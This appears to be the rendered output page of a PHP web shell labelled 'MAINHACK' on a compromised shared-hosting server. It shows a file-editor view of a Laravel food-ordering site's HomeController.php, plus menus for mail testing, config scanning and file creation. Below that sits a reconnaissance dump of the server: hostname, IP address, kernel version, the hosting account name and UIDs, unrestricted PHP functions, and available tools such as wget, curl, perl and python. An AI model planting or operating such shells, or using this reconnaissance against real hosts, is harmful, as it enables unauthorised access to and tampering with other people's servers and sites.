[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: HomeController.php
<?php namespace App\Http\Controllers; use App\CentralLogics\Helpers; use App\Models\BusinessSetting; use Illuminate\Http\Request; use App\CentralLogics\CategoryLogic; use App\Models\Category; use App\Models\Food; use App\Models\Restaurant; use App\Mail\ContactUs; use Illuminate\Support\Facades\Mail; use Session; use DB; use App\Models\Blog; class HomeController extends Controller { /** * Create a new controller instance. * * @return void */ public function WebsiteBlogsDetails($slug) { // dd($slug); $blogs = DB::table('blogs')->where('slug',$slug)->get(); $blogs_recent = Blog::limit(6)->latest()->get(); // dd($blogs_recent); return view('blogs-detail',compact('blogs','blogs_recent')); } public function all_blogs(){ $blogs_data = DB::table('blogs')->orderBy('created_at', 'desc')->cursorPaginate(6); // dd($blogs_data); return view('all_blogs',compact('blogs_data')); } public function __construct() { /*$this->middleware('auth');*/ } /** * Show the application dashboard. * * @return \Illuminate\Contracts\Support\Renderable */ public function index() { try { $main = Category::where(['position'=>0,'status'=>1])->with('products')->orderBy('priority','desc')->limit(2)->get(); $categories = Category::where(['position'=>0,'status'=>1])->with('products')->whereNotIn('priority',[1,2])->orderBy('priority','desc')->get(); return view('home',compact('main','categories')); } catch (\Exception $e) { // 500 } } public function menu_page() { try { $main = Category::where(['position'=>0,'status'=>1])->with('products')->orderBy('priority','desc')->limit(2)->get(); $categories = Category::where(['position'=>0,'status'=>1])->with('products')->whereNotIn('priority',[1,2])->orderBy('priority','desc')->get(); return view('menu',compact('main','categories')); } catch (\Exception $e) { // 500 } } function showProduct($name, $id){ try { $product = Food::where(['id'=>$id])->with('category')->first(); return view('single-product',compact('product')); } catch (\Exception $e) { // 500 } } function find_search_items(Request $r){ if($r->param){ try { $result = Food:: Where('name', 'like', '%' . $r->param . '%')->limit(4)->get(); return $result; } catch (\Exception $e) { // 500 } }else{ $result = Food:: Where('name', 'like', '%' . $r->query()['query'] . '%')->limit(4)->get(); $param = $r->query()['query']; $message = count($result).' result(s) found against '.$param; return view('search',compact('result','message')); } } public function terms_and_conditions() { $data = self::get_settings('terms_and_conditions'); return view('terms-and-conditions',compact('data')); } public function about_us() { $data = self::get_settings('about_us'); return view('about-us',compact('data')); } public function contact_us() { return view('contact-us'); } public function career_page() { return view('career'); } public function career_form_page() { return view('career-form-page'); } public function send_mail(Request $request) { // dd($request->all()); $email = $request->email; $name = $request->name; $subject = $request->subject; $message_to = $request->message; $mail_status = Mail::to($request->email)->send(new ContactUs($email,$name,$subject,$message_to)); return back(); } public function privacy_policy() { $data = self::get_settings('privacy_policy'); return view('privacy-policy',compact('data')); } public static function get_settings($name) { $config = null; $data = BusinessSetting::where(['key' => $name])->first(); if (isset($data)) { $config = json_decode($data['value'], true); if (is_null($config)) { $config = $data['value']; } } return $config; } function cart(Request $request){ $id = $request->id; if($id == 0){ session()->put('cart', []); return 1; } $product = Food::findOrFail($id); $cart = session()->get('cart', []); if(isset($cart[$id])) { $cart[$id]['quantity']++; } else { $cart[$id] = [ "name" => $product->name, "quantity" => 1, "price" => $product->price, "image" => '/storage/product/'.$product->image ]; } session()->put('cart', $cart); return $cart; return redirect()->back()->with('success', 'Product added to cart successfully!'); } function check_out_barrier(){ return view('checkout-complete'); } function location_page() { return view('location'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.25 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624